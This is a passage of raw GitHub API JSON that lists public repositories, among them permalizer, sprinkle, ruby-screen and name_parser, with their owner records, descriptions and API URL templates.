site","fork":false,"url":"https://api.github.com/repos/bart-xx/ikhebhonger","forks_url":"https://api.github.com/repos/bart-xx/ikhebhonger/forks","keys_url":"https://api.github.com/repos/bart-xx/ikhebhonger/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bart-xx/ikhebhonger/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bart-xx/ikhebhonger/teams","hooks_url":"https://api.github.com/repos/bart-xx/ikhebhonger/hooks","issue_events_url":"https://api.github.com/repos/bart-xx/ikhebhonger/issues/events{/number}","events_url":"https://api.github.com/repos/bart-xx/ikhebhonger/events","assignees_url":"https://api.github.com/repos/bart-xx/ikhebhonger/assignees{/user}","branches_url":"https://api.github.com/repos/bart-xx/ikhebhonger/branches{/branch}","tags_url":"https://api.github.com/repos/bart-xx/ikhebhonger/tags","blobs_url":"https://api.github.com/repos/bart-xx/ikhebhonger/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bart-xx/ikhebhonger/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bart-xx/ikhebhonger/git/refs{/sha}","trees_url":"https://api.github.com/repos/bart-xx/ikhebhonger/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bart-xx/ikhebhonger/statuses/{sha}","languages_url":"https://api.github.com/repos/bart-xx/ikhebhonger/languages","stargazers_url":"https://api.github.com/repos/bart-xx/ikhebhonger/stargazers","contributors_url":"https://api.github.com/repos/bart-xx/ikhebhonger/contributors","subscribers_url":"https://api.github.com/repos/bart-xx/ikhebhonger/subscribers","subscription_url":"https://api.github.com/repos/bart-xx/ikhebhonger/subscription","commits_url":"https://api.github.com/repos/bart-xx/ikhebhonger/commits{/sha}","git_commits_url":"https://api.github.com/repos/bart-xx/ikhebhonger/git/commits{/sha}","comments_url":"https://api.github.com/repos/bart-xx/ikhebhonger/comments{/number}","issue_comment_url":"https://api.github.com/repos/bart-xx/ikhebhonger/issues/comments/{number}","contents_url":"https://api.github.com/repos/bart-xx/ikhebhonger/contents/{+path}","compare_url":"https://api.github.com/repos/bart-xx/ikhebhonger/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bart-xx/ikhebhonger/merges","archive_url":"https://api.github.com/repos/bart-xx/ikhebhonger/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bart-xx/ikhebhonger/downloads","issues_url":"https://api.github.com/repos/bart-xx/ikhebhonger/issues{/number}","pulls_url":"https://api.github.com/repos/bart-xx/ikhebhonger/pulls{/number}","milestones_url":"https://api.github.com/repos/bart-xx/ikhebhonger/milestones{/number}","notifications_url":"https://api.github.com/repos/bart-xx/ikhebhonger/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bart-xx/ikhebhonger/labels{/name}"},{"id":1303,"name":"permalizer","full_name":"revans/permalizer","owner":{"login":"revans","id":394,"avatar_url":"https://0.gravatar.com/avatar/bc5fbb4a793359c2c527e37edfa470a2?d=https%3A%2F%2Fidenticons.github.com%2F28f0b864598a1291557bed248a998d4e.png","gravatar_id":"bc5fbb4a793359c2c527e37edfa470a2","url":"https://api.github.com/users/revans","html_url":"https://github.com/revans","followers_url":"https://api.github.com/users/revans/followers","following_url":"https://api.github.com/users/revans/following{/other_user}","gists_url":"https://api.github.com/users/revans/gists{/gist_id}","starred_url":"https://api.github.com/users/revans/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/revans/subscriptions","organizations_url":"https://api.github.com/users/revans/orgs","repos_url":"https://api.github.com/users/revans/repos","events_url":"https://api.github.com/users/revans/events{/privacy}","received_events_url":"https://api.github.com/users/revans/received_events","type":"User"},"private":false,"html_url":"https://github.com/revans/permalizer","description":"An easy way to create Permalinks.","fork":false,"url":"https://api.github.com/repos/revans/permalizer","forks_url":"https://api.github.com/repos/revans/permalizer/forks","keys_url":"https://api.github.com/repos/revans/permalizer/keys{/key_id}","collaborators_url":"https://api.github.com/repos/revans/permalizer/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/revans/permalizer/teams","hooks_url":"https://api.github.com/repos/revans/permalizer/hooks","issue_events_url":"https://api.github.com/repos/revans/permalizer/issues/events{/number}","events_url":"https://api.github.com/repos/revans/permalizer/events","assignees_url":"https://api.github.com/repos/revans/permalizer/assignees{/user}","branches_url":"https://api.github.com/repos/revans/permalizer/branches{/branch}","tags_url":"https://api.github.com/repos/revans/permalizer/tags","blobs_url":"https://api.github.com/repos/revans/permalizer/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/revans/permalizer/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/revans/permalizer/git/refs{/sha}","trees_url":"https://api.github.com/repos/revans/permalizer/git/trees{/sha}","statuses_url":"https://api.github.com/repos/revans/permalizer/statuses/{sha}","languages_url":"https://api.github.com/repos/revans/permalizer/languages","stargazers_url":"https://api.github.com/repos/revans/permalizer/stargazers","contributors_url":"https://api.github.com/repos/revans/permalizer/contributors","subscribers_url":"https://api.github.com/repos/revans/permalizer/subscribers","subscription_url":"https://api.github.com/repos/revans/permalizer/subscription","commits_url":"https://api.github.com/repos/revans/permalizer/commits{/sha}","git_commits_url":"https://api.github.com/repos/revans/permalizer/git/commits{/sha}","comments_url":"https://api.github.com/repos/revans/permalizer/comments{/number}","issue_comment_url":"https://api.github.com/repos/revans/permalizer/issues/comments/{number}","contents_url":"https://api.github.com/repos/revans/permalizer/contents/{+path}","compare_url":"https://api.github.com/repos/revans/permalizer/compare/{base}...{head}","merges_url":"https://api.github.com/repos/revans/permalizer/merges","archive_url":"https://api.github.com/repos/revans/permalizer/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/revans/permalizer/downloads","issues_url":"https://api.github.com/repos/revans/permalizer/issues{/number}","pulls_url":"https://api.github.com/repos/revans/permalizer/pulls{/number}","milestones_url":"https://api.github.com/repos/revans/permalizer/milestones{/number}","notifications_url":"https://api.github.com/repos/revans/permalizer/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/revans/permalizer/labels{/name}"},{"id":1318,"name":"sprinkle","full_name":"sprinkle-tool/sprinkle","owner":{"login":"sprinkle-tool","id":4121318,"avatar_url":"https://identicons.github.com/e5cfb82e868d055ce1ddbebed117d622.png","gravatar_id":null,"url":"https://api.github.com/users/sprinkle-tool","html_url":"https://github.com/sprinkle-tool","followers_url":"https://api.github.com/users/sprinkle-tool/followers","following_url":"https://api.github.com/users/sprinkle-tool/following{/other_user}","gists_url":"https://api.github.com/users/sprinkle-tool/gists{/gist_id}","starred_url":"https://api.github.com/users/sprinkle-tool/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sprinkle-tool/subscriptions","organizations_url":"https://api.github.com/users/sprinkle-tool/orgs","repos_url":"https://api.github.com/users/sprinkle-tool/repos","events_url":"https://api.github.com/users/sprinkle-tool/events{/privacy}","received_events_url":"https://api.github.com/users/sprinkle-tool/received_events","type":"Organization"},"private":false,"html_url":"https://github.com/sprinkle-tool/sprinkle","description":"Sprinkle is a software provisioning tool you can use to build remote servers with. eg. to install a Rails, or Sinatra stack on a brand new slice directly after its been created","fork":false,"url":"https://api.github.com/repos/sprinkle-tool/sprinkle","forks_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/forks","keys_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/keys{/key_id}","collaborators_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/teams","hooks_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/hooks","issue_events_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/issues/events{/number}","events_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/events","assignees_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/assignees{/user}","branches_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/branches{/branch}","tags_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/tags","blobs_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/git/refs{/sha}","trees_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/git/trees{/sha}","statuses_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/statuses/{sha}","languages_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/languages","stargazers_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/stargazers","contributors_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/contributors","subscribers_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/subscribers","subscription_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/subscription","commits_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/commits{/sha}","git_commits_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/git/commits{/sha}","comments_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/comments{/number}","issue_comment_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/issues/comments/{number}","contents_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/contents/{+path}","compare_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/compare/{base}...{head}","merges_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/merges","archive_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/downloads","issues_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/issues{/number}","pulls_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/pulls{/number}","milestones_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/milestones{/number}","notifications_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/sprinkle-tool/sprinkle/labels{/name}"},{"id":1321,"name":"wlwdeezerplayer","full_name":"julesss/wlwdeezerplayer","owner":{"login":"julesss","id":929,"avatar_url":"https://identicons.github.com/0d0871f0806eae32d30983b62252da50.png","gravatar_id":null,"url":"https://api.github.com/users/julesss","html_url":"https://github.com/julesss","followers_url":"https://api.github.com/users/julesss/followers","following_url":"https://api.github.com/users/julesss/following{/other_user}","gists_url":"https://api.github.com/users/julesss/gists{/gist_id}","starred_url":"https://api.github.com/users/julesss/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julesss/subscriptions","organizations_url":"https://api.github.com/users/julesss/orgs","repos_url":"https://api.github.com/users/julesss/repos","events_url":"https://api.github.com/users/julesss/events{/privacy}","received_events_url":"https://api.github.com/users/julesss/received_events","type":"User"},"private":false,"html_url":"https://github.com/julesss/wlwdeezerplayer","description":"Lets you insert a Deezer player in your blog using Windows Live Writer","fork":false,"url":"https://api.github.com/repos/julesss/wlwdeezerplayer","forks_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/forks","keys_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/keys{/key_id}","collaborators_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/teams","hooks_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/hooks","issue_events_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/issues/events{/number}","events_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/events","assignees_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/assignees{/user}","branches_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/branches{/branch}","tags_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/tags","blobs_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/git/refs{/sha}","trees_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/git/trees{/sha}","statuses_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/statuses/{sha}","languages_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/languages","stargazers_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/stargazers","contributors_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/contributors","subscribers_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/subscribers","subscription_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/subscription","commits_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/commits{/sha}","git_commits_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/git/commits{/sha}","comments_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/comments{/number}","issue_comment_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/issues/comments/{number}","contents_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/contents/{+path}","compare_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/compare/{base}...{head}","merges_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/merges","archive_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/downloads","issues_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/issues{/number}","pulls_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/pulls{/number}","milestones_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/milestones{/number}","notifications_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/julesss/wlwdeezerplayer/labels{/name}"},{"id":1344,"name":"utility-belt","full_name":"gilesbowkett/utility-belt","owner":{"login":"gilesbowkett","id":974,"avatar_url":"https://2.gravatar.com/avatar/ce8b03e5750097942c58e12b46724312?d=https%3A%2F%2Fidenticons.github.com%2F4311359ed4969e8401880e3c1836fbe1.png","gravatar_id":"ce8b03e5750097942c58e12b46724312","url":"https://api.github.com/users/gilesbowkett","html_url":"https://github.com/gilesbowkett","followers_url":"https://api.github.com/users/gilesbowkett/followers","following_url":"https://api.github.com/users/gilesbowkett/following{/other_user}","gists_url":"https://api.github.com/users/gilesbowkett/gists{/gist_id}","starred_url":"https://api.github.com/users/gilesbowkett/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gilesbowkett/subscriptions","organizations_url":"https://api.github.com/users/gilesbowkett/orgs","repos_url":"https://api.github.com/users/gilesbowkett/repos","events_url":"https://api.github.com/users/gilesbowkett/events{/privacy}","received_events_url":"https://api.github.com/users/gilesbowkett/received_events","type":"User"},"private":false,"html_url":"https://github.com/gilesbowkett/utility-belt","description":"IRB Power User Utility Belt","fork":false,"url":"https://api.github.com/repos/gilesbowkett/utility-belt","forks_url":"https://api.github.com/repos/gilesbowkett/utility-belt/forks","keys_url":"https://api.github.com/repos/gilesbowkett/utility-belt/keys{/key_id}","collaborators_url":"https://api.github.com/repos/gilesbowkett/utility-belt/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/gilesbowkett/utility-belt/teams","hooks_url":"https://api.github.com/repos/gilesbowkett/utility-belt/hooks","issue_events_url":"https://api.github.com/repos/gilesbowkett/utility-belt/issues/events{/number}","events_url":"https://api.github.com/repos/gilesbowkett/utility-belt/events","assignees_url":"https://api.github.com/repos/gilesbowkett/utility-belt/assignees{/user}","branches_url":"https://api.github.com/repos/gilesbowkett/utility-belt/branches{/branch}","tags_url":"https://api.github.com/repos/gilesbowkett/utility-belt/tags","blobs_url":"https://api.github.com/repos/gilesbowkett/utility-belt/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/gilesbowkett/utility-belt/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/gilesbowkett/utility-belt/git/refs{/sha}","trees_url":"https://api.github.com/repos/gilesbowkett/utility-belt/git/trees{/sha}","statuses_url":"https://api.github.com/repos/gilesbowkett/utility-belt/statuses/{sha}","languages_url":"https://api.github.com/repos/gilesbowkett/utility-belt/languages","stargazers_url":"https://api.github.com/repos/gilesbowkett/utility-belt/stargazers","contributors_url":"https://api.github.com/repos/gilesbowkett/utility-belt/contributors","subscribers_url":"https://api.github.com/repos/gilesbowkett/utility-belt/subscribers","subscription_url":"https://api.github.com/repos/gilesbowkett/utility-belt/subscription","commits_url":"https://api.github.com/repos/gilesbowkett/utility-belt/commits{/sha}","git_commits_url":"https://api.github.com/repos/gilesbowkett/utility-belt/git/commits{/sha}","comments_url":"https://api.github.com/repos/gilesbowkett/utility-belt/comments{/number}","issue_comment_url":"https://api.github.com/repos/gilesbowkett/utility-belt/issues/comments/{number}","contents_url":"https://api.github.com/repos/gilesbowkett/utility-belt/contents/{+path}","compare_url":"https://api.github.com/repos/gilesbowkett/utility-belt/compare/{base}...{head}","merges_url":"https://api.github.com/repos/gilesbowkett/utility-belt/merges","archive_url":"https://api.github.com/repos/gilesbowkett/utility-belt/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/gilesbowkett/utility-belt/downloads","issues_url":"https://api.github.com/repos/gilesbowkett/utility-belt/issues{/number}","pulls_url":"https://api.github.com/repos/gilesbowkett/utility-belt/pulls{/number}","milestones_url":"https://api.github.com/repos/gilesbowkett/utility-belt/milestones{/number}","notifications_url":"https://api.github.com/repos/gilesbowkett/utility-belt/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/gilesbowkett/utility-belt/labels{/name}"},{"id":1353,"name":"restful-authentication","full_name":"labria/restful-authentication","owner":{"login":"labria","id":323,"avatar_url":"https://1.gravatar.com/avatar/f5049506664636c6cc725099367bd167?d=https%3A%2F%2Fidenticons.github.com%2Fbc6dc48b743dc5d013b1abaebd2faed2.png","gravatar_id":"f5049506664636c6cc725099367bd167","url":"https://api.github.com/users/labria","html_url":"https://github.com/labria","followers_url":"https://api.github.com/users/labria/followers","following_url":"https://api.github.com/users/labria/following{/other_user}","gists_url":"https://api.github.com/users/labria/gists{/gist_id}","starred_url":"https://api.github.com/users/labria/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/labria/subscriptions","organizations_url":"https://api.github.com/users/labria/orgs","repos_url":"https://api.github.com/users/labria/repos","events_url":"https://api.github.com/users/labria/events{/privacy}","received_events_url":"https://api.github.com/users/labria/received_events","type":"User"},"private":false,"html_url":"https://github.com/labria/restful-authentication","description":"Attempt to add SSL client certificate support to the restful_authenctication plugin","fork":true,"url":"https://api.github.com/repos/labria/restful-authentication","forks_url":"https://api.github.com/repos/labria/restful-authentication/forks","keys_url":"https://api.github.com/repos/labria/restful-authentication/keys{/key_id}","collaborators_url":"https://api.github.com/repos/labria/restful-authentication/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/labria/restful-authentication/teams","hooks_url":"https://api.github.com/repos/labria/restful-authentication/hooks","issue_events_url":"https://api.github.com/repos/labria/restful-authentication/issues/events{/number}","events_url":"https://api.github.com/repos/labria/restful-authentication/events","assignees_url":"https://api.github.com/repos/labria/restful-authentication/assignees{/user}","branches_url":"https://api.github.com/repos/labria/restful-authentication/branches{/branch}","tags_url":"https://api.github.com/repos/labria/restful-authentication/tags","blobs_url":"https://api.github.com/repos/labria/restful-authentication/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/labria/restful-authentication/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/labria/restful-authentication/git/refs{/sha}","trees_url":"https://api.github.com/repos/labria/restful-authentication/git/trees{/sha}","statuses_url":"https://api.github.com/repos/labria/restful-authentication/statuses/{sha}","languages_url":"https://api.github.com/repos/labria/restful-authentication/languages","stargazers_url":"https://api.github.com/repos/labria/restful-authentication/stargazers","contributors_url":"https://api.github.com/repos/labria/restful-authentication/contributors","subscribers_url":"https://api.github.com/repos/labria/restful-authentication/subscribers","subscription_url":"https://api.github.com/repos/labria/restful-authentication/subscription","commits_url":"https://api.github.com/repos/labria/restful-authentication/commits{/sha}","git_commits_url":"https://api.github.com/repos/labria/restful-authentication/git/commits{/sha}","comments_url":"https://api.github.com/repos/labria/restful-authentication/comments{/number}","issue_comment_url":"https://api.github.com/repos/labria/restful-authentication/issues/comments/{number}","contents_url":"https://api.github.com/repos/labria/restful-authentication/contents/{+path}","compare_url":"https://api.github.com/repos/labria/restful-authentication/compare/{base}...{head}","merges_url":"https://api.github.com/repos/labria/restful-authentication/merges","archive_url":"https://api.github.com/repos/labria/restful-authentication/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/labria/restful-authentication/downloads","issues_url":"https://api.github.com/repos/labria/restful-authentication/issues{/number}","pulls_url":"https://api.github.com/repos/labria/restful-authentication/pulls{/number}","milestones_url":"https://api.github.com/repos/labria/restful-authentication/milestones{/number}","notifications_url":"https://api.github.com/repos/labria/restful-authentication/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/labria/restful-authentication/labels{/name}"},{"id":1355,"name":"ruby-screen","full_name":"dpetersen/ruby-screen","owner":{"login":"dpetersen","id":408,"avatar_url":"https://2.gravatar.com/avatar/5cc7967fc5c25199c88410bc56eb1329?d=https%3A%2F%2Fidenticons.github.com%2F0d0fd7c6e093f7b804fa0150b875b868.png","gravatar_id":"5cc7967fc5c25199c88410bc56eb1329","url":"https://api.github.com/users/dpetersen","html_url":"https://github.com/dpetersen","followers_url":"https://api.github.com/users/dpetersen/followers","following_url":"https://api.github.com/users/dpetersen/following{/other_user}","gists_url":"https://api.github.com/users/dpetersen/gists{/gist_id}","starred_url":"https://api.github.com/users/dpetersen/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dpetersen/subscriptions","organizations_url":"https://api.github.com/users/dpetersen/orgs","repos_url":"https://api.github.com/users/dpetersen/repos","events_url":"https://api.github.com/users/dpetersen/events{/privacy}","received_events_url":"https://api.github.com/users/dpetersen/received_events","type":"User"},"private":false,"html_url":"https://github.com/dpetersen/ruby-screen","description":"A utility to supplement GNU Screen, easing use of custom configurations, packaged as a RubyGem.","fork":false,"url":"https://api.github.com/repos/dpetersen/ruby-screen","forks_url":"https://api.github.com/repos/dpetersen/ruby-screen/forks","keys_url":"https://api.github.com/repos/dpetersen/ruby-screen/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dpetersen/ruby-screen/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dpetersen/ruby-screen/teams","hooks_url":"https://api.github.com/repos/dpetersen/ruby-screen/hooks","issue_events_url":"https://api.github.com/repos/dpetersen/ruby-screen/issues/events{/number}","events_url":"https://api.github.com/repos/dpetersen/ruby-screen/events","assignees_url":"https://api.github.com/repos/dpetersen/ruby-screen/assignees{/user}","branches_url":"https://api.github.com/repos/dpetersen/ruby-screen/branches{/branch}","tags_url":"https://api.github.com/repos/dpetersen/ruby-screen/tags","blobs_url":"https://api.github.com/repos/dpetersen/ruby-screen/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dpetersen/ruby-screen/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dpetersen/ruby-screen/git/refs{/sha}","trees_url":"https://api.github.com/repos/dpetersen/ruby-screen/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dpetersen/ruby-screen/statuses/{sha}","languages_url":"https://api.github.com/repos/dpetersen/ruby-screen/languages","stargazers_url":"https://api.github.com/repos/dpetersen/ruby-screen/stargazers","contributors_url":"https://api.github.com/repos/dpetersen/ruby-screen/contributors","subscribers_url":"https://api.github.com/repos/dpetersen/ruby-screen/subscribers","subscription_url":"https://api.github.com/repos/dpetersen/ruby-screen/subscription","commits_url":"https://api.github.com/repos/dpetersen/ruby-screen/commits{/sha}","git_commits_url":"https://api.github.com/repos/dpetersen/ruby-screen/git/commits{/sha}","comments_url":"https://api.github.com/repos/dpetersen/ruby-screen/comments{/number}","issue_comment_url":"https://api.github.com/repos/dpetersen/ruby-screen/issues/comments/{number}","contents_url":"https://api.github.com/repos/dpetersen/ruby-screen/contents/{+path}","compare_url":"https://api.github.com/repos/dpetersen/ruby-screen/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dpetersen/ruby-screen/merges","archive_url":"https://api.github.com/repos/dpetersen/ruby-screen/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dpetersen/ruby-screen/downloads","issues_url":"https://api.github.com/repos/dpetersen/ruby-screen/issues{/number}","pulls_url":"https://api.github.com/repos/dpetersen/ruby-screen/pulls{/number}","milestones_url":"https://api.github.com/repos/dpetersen/ruby-screen/milestones{/number}","notifications_url":"https://api.github.com/repos/dpetersen/ruby-screen/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dpetersen/ruby-screen/labels{/name}"},{"id":1364,"name":"eatingsafe","full_name":"aharper/eatingsafe","owner":{"login":"aharper","id":1002,"avatar_url":"https://identicons.github.com/fba9d88164f3e2d9109ee770223212a0.png","gravatar_id":null,"url":"https://api.github.com/users/aharper","html_url":"https://github.com/aharper","followers_url":"https://api.github.com/users/aharper/followers","following_url":"https://api.github.com/users/aharper/following{/other_user}","gists_url":"https://api.github.com/users/aharper/gists{/gist_id}","starred_url":"https://api.github.com/users/aharper/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/aharper/subscriptions","organizations_url":"https://api.github.com/users/aharper/orgs","repos_url":"https://api.github.com/users/aharper/repos","events_url":"https://api.github.com/users/aharper/events{/privacy}","received_events_url":"https://api.github.com/users/aharper/received_events","type":"User"},"private":false,"html_url":"https://github.com/aharper/eatingsafe","description":"","fork":false,"url":"https://api.github.com/repos/aharper/eatingsafe","forks_url":"https://api.github.com/repos/aharper/eatingsafe/forks","keys_url":"https://api.github.com/repos/aharper/eatingsafe/keys{/key_id}","collaborators_url":"https://api.github.com/repos/aharper/eatingsafe/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/aharper/eatingsafe/teams","hooks_url":"https://api.github.com/repos/aharper/eatingsafe/hooks","issue_events_url":"https://api.github.com/repos/aharper/eatingsafe/issues/events{/number}","events_url":"https://api.github.com/repos/aharper/eatingsafe/events","assignees_url":"https://api.github.com/repos/aharper/eatingsafe/assignees{/user}","branches_url":"https://api.github.com/repos/aharper/eatingsafe/branches{/branch}","tags_url":"https://api.github.com/repos/aharper/eatingsafe/tags","blobs_url":"https://api.github.com/repos/aharper/eatingsafe/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/aharper/eatingsafe/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/aharper/eatingsafe/git/refs{/sha}","trees_url":"https://api.github.com/repos/aharper/eatingsafe/git/trees{/sha}","statuses_url":"https://api.github.com/repos/aharper/eatingsafe/statuses/{sha}","languages_url":"https://api.github.com/repos/aharper/eatingsafe/languages","stargazers_url":"https://api.github.com/repos/aharper/eatingsafe/stargazers","contributors_url":"https://api.github.com/repos/aharper/eatingsafe/contributors","subscribers_url":"https://api.github.com/repos/aharper/eatingsafe/subscribers","subscription_url":"https://api.github.com/repos/aharper/eatingsafe/subscription","commits_url":"https://api.github.com/repos/aharper/eatingsafe/commits{/sha}","git_commits_url":"https://api.github.com/repos/aharper/eatingsafe/git/commits{/sha}","comments_url":"https://api.github.com/repos/aharper/eatingsafe/comments{/number}","issue_comment_url":"https://api.github.com/repos/aharper/eatingsafe/issues/comments/{number}","contents_url":"https://api.github.com/repos/aharper/eatingsafe/contents/{+path}","compare_url":"https://api.github.com/repos/aharper/eatingsafe/compare/{base}...{head}","merges_url":"https://api.github.com/repos/aharper/eatingsafe/merges","archive_url":"https://api.github.com/repos/aharper/eatingsafe/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/aharper/eatingsafe/downloads","issues_url":"https://api.github.com/repos/aharper/eatingsafe/issues{/number}","pulls_url":"https://api.github.com/repos/aharper/eatingsafe/pulls{/number}","milestones_url":"https://api.github.com/repos/aharper/eatingsafe/milestones{/number}","notifications_url":"https://api.github.com/repos/aharper/eatingsafe/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/aharper/eatingsafe/labels{/name}"},{"id":1377,"name":"name_parser","full_name":"bricooke/name_parser","owner":{"login":"bricooke","id":977,"avatar_url":"https://1.gravatar.com/avatar/916de6eec58087391b518c5ac3ac7f47?d=https%3A%2F%2Fidenticons.github.com%2Fcc1aa436277138f61cda703991069eaf.png","gravatar_id":"916de6eec58087391b518c5ac3ac7f47","url":"https://api.github.com/users/bricooke","html_url":"https://github.com/bricooke","followers_url":"https://api.github.com/users/bricooke/followers","following_url":"https://api.github.com/users/bricooke/following{/other_user}","gists_url":"https://api.github.com/users/bricooke/gists{/gist_id}","starred_url":"https://api.github.com/users/bricooke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bricooke/subscriptions","organizations_url":"https://api.github.com/users/bricooke/orgs","repos_url":"https://api.github.com/users/bricooke/repos","events_url":"https://api.github.com/users/bricooke/events{/privacy}","received_events_url":"https://api.github.com/users/bricooke/received_events","type":"User"},"private":false,"html_url":"https://github.com/bricooke/name_parser","description":"Gem for parsing names into first, last, middle, prefix and suffix","fork":false,"url":"https://api.github.com/repos/bricooke/name_parser","forks_url":"https://api.github.com/repos/bricooke/name_parser/forks","keys_url":"https://api.github.com/repos/bricooke/name_parser/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bricooke/name_parser/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bricooke/name_parser/teams","hooks_url":"https://api.github.com/repos/bricooke/name_parser/hooks","issue_events_url":"https://api.github.com/repos/bricooke/name_parser/issues/events{/number}","events_url":"https://api.github.com/repos/bricooke/name_parser/events","assignees_url":"https://api.github.com/repos/bricooke/name_parser/assignees{/user}","branches_url":"https://api.github.com/repos/bricooke/name_parser/branches{/branch}","tags_url":"https://api.github.com/repos/bricooke/name_parser/tags","blobs_url":"https://api.github.com/repos/bricooke/name_parser/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bricooke/name_parser/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bricooke/name_parser/git/refs{/sha}","trees_url":"https://api.github.com/repos/bricooke/name_parser/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bric